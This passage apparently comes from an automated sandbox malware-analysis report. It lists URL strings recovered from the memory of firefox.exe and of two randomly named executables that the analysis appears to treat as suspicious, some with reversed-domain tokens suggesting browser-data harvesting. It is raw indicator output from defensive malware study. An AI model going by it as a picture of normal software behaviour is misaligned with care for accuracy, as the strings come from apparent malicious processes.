Source: firefox.exe, 00000019.00000002.3352536303.000001E16ED00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000003.3252411643.000001E17025A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 00000019.00000002.3352536303.000001E16ED00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000003.3252411643.000001E17025A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 00000019.00000002.3352536303.000001E16ED00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000003.3252411643.000001E17025A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 00000019.00000002.3352536303.000001E16ED00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000003.3252411643.000001E17025A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 00000019.00000002.3404355837.000001E177875000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3415085097.00002CC258A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3404355837.000001E1778FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B73B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3413383423.000003546FF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B7DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A3DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A325000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3393078737.000001E176585000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A3DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3406841094.000001E177A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3236706725.000001E1781AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 00000019.00000002.3413383423.000003546FF00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/si
Source: firefox.exe, 00000019.00000003.3231631580.000001E178123000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3408848353.000001E178122000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A3DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3406841094.000001E177A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 00000019.00000002.3413383423.000003546FF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3406841094.000001E177A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A3DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3406841094.000001E177A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 00000019.00000002.3404355837.000001E177875000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3415085097.00002CC258A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3404355837.000001E1778FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3413383423.000003546FF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3406841094.000001E177A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: 194fcc03d1.exe, 00000009.00000002.3658430025.0000000024111000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3334964070.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3332306839.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3336326021.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3353094912.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3341331944.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3347292005.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3343840223.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3330875172.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3337881187.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3339658093.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3333555796.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3352543746.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3335509270.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3350539115.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3351341626.0000000001661000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3331737743.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3344628486.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3334373074.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3351939938.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3317244696.0000000001662000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: firefox.exe, 00000019.00000002.3415085097.00002CC258A00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/Z
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7FE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3370172652.000001E17080B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3159441532.000001E16E21E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3161924671.000001E16E273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000019.00000002.3310354095.000001E1699EF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=utf-8&mode=blended&tag=mozill
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/chrome://global/content/elements/browser-custom-e
Source: firefox.exe, 00000019.00000002.3413383423.000003546FF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3406841094.000001E177A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 00000019.00000002.3413383423.000003546FF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3406841094.000001E177A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A3DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3413383423.000003546FF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3406841094.000001E177A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A3DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3404355837.000001E1778FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3413383423.000003546FF00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 00000019.00000002.3413383423.000003546FF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3406841094.000001E177A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: c9ac8940e6.exe, 0000000A.00000003.3334964070.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3332306839.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3336326021.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3353094912.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3341331944.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3347292005.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3343840223.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3330875172.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3337881187.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3339658093.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3333555796.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3352543746.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3335509270.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3350539115.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3351341626.0000000001661000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3331737743.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3344628486.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3334373074.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3351939938.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3317244696.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3335829166.0000000001662000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat
Source: 194fcc03d1.exe, 00000009.00000002.3658430025.0000000024111000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B77C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B73B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A3DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3404355837.000001E1778FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3413383423.000003546FF00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 00000019.00000002.3404355837.000001E1778FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3413383423.000003546FF00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.co.uk/
Source: firefox.exe, 00000019.00000002.3413383423.000003546FF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3406841094.000001E177A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: c9ac8940e6.exe, 0000000A.00000003.3153599163.0000000005CB9000.00000004.00000800.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3156061830.0000000005CB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 00000019.00000002.3404355837.000001E1778FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3413383423.000003546FF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3406841094.000001E177AAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 00000019.00000002.3395678334.000001E176611000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 00000019.00000002.3406841094.000001E177A45000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3235362791.000001E178173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3362147445.000001E170068000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3231024385.000001E176772000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3239742227.000001E170068000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 00000019.00000002.3346591243.000001E16E4B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3159161146.000001E16E000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3159441532.000001E16E21E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3161924671.000001E16E273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: firefox.exe, 00000019.00000002.3362147445.000001E170068000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3239742227.000001E170068000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/searchcb8e7210-9f0b-48fa-8708-b9a03df79eeaccb137f1-7733-464c-bb70-03
Source: c9ac8940e6.exe, 0000000A.00000003.3153599163.0000000005CB9000.00000004.00000800.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3156061830.0000000005CB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 00000019.00000002.3406841094.000001E177A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3318892464.000001E16A303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3338221012.000001E16D900000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000003.3160103632.000001E16E23A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3351329432.000001E16EB0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3159161146.000001E16E000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3159441532.000001E16E21E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3161924671.000001E16E273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/searchq=
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A3DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3413383423.000003546FF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3406841094.000001E177A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A3DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3413383423.000003546FF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3406841094.000001E177A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A3DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_ke
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A3DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3406841094.000001E177A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 00000019.00000002.3316015574.000001E16A110000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3372793946.000001E170AC3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3414733243.00001479B8304000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3327903366.000001E16BE66000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3372793946.000001E170AD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: 194fcc03d1.exe, 00000009.00000002.3600590681.0000000000ED7000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: c9ac8940e6.exe, 0000000A.00000003.3285535253.0000000005FA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: firefox.exe, 00000019.00000002.3351329432.000001E16EB5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3412275084.000001E178A0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3281437767.000001E16F375000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: 194fcc03d1.exe, 00000009.00000002.3600590681.0000000000ED7000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: 194fcc03d1.exe, 00000009.00000002.3600590681.0000000000ED7000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: c9ac8940e6.exe, 0000000A.00000003.3285535253.0000000005FA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: 194fcc03d1.exe, 00000009.00000002.3600590681.0000000000ED7000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: 194fcc03d1.exe, 00000009.00000003.3496792178.000000002425E000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3285535253.0000000005FA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: c9ac8940e6.exe, 0000000A.00000003.3285535253.0000000005FA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/resource://gre/modules/OpenSearchEngine.sys.mjsresource://gre/mo
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: 194fcc03d1.exe, 00000009.00000003.3496792178.000000002425E000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3285535253.0000000005FA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: 194fcc03d1.exe, 00000009.00000002.3600590681.0000000000ED7000.00000040.00000001.01000000.0000000B.sdmp, firefox.exe, 00000019.00000002.3308646555.000001E169859000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 00000019.00000002.3308646555.000001E169859000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/)
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: 194fcc03d1.exe, 00000009.00000003.3496792178.000000002425E000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3285535253.0000000005FA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: 194fcc03d1.exe, 00000009.00000002.3600590681.0000000000ED7000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: firefox.exe, 00000019.00000002.3295407113.0000000B3E9BC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 00000019.00000002.3418151410.00003939FE100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3378267040.000001E171707000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3418318329.0000396198004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 00000019.00000002.3395678334.000001E176611000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3406841094.000001E177A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 00000019.00000002.3413383423.000003546FF00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/i
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
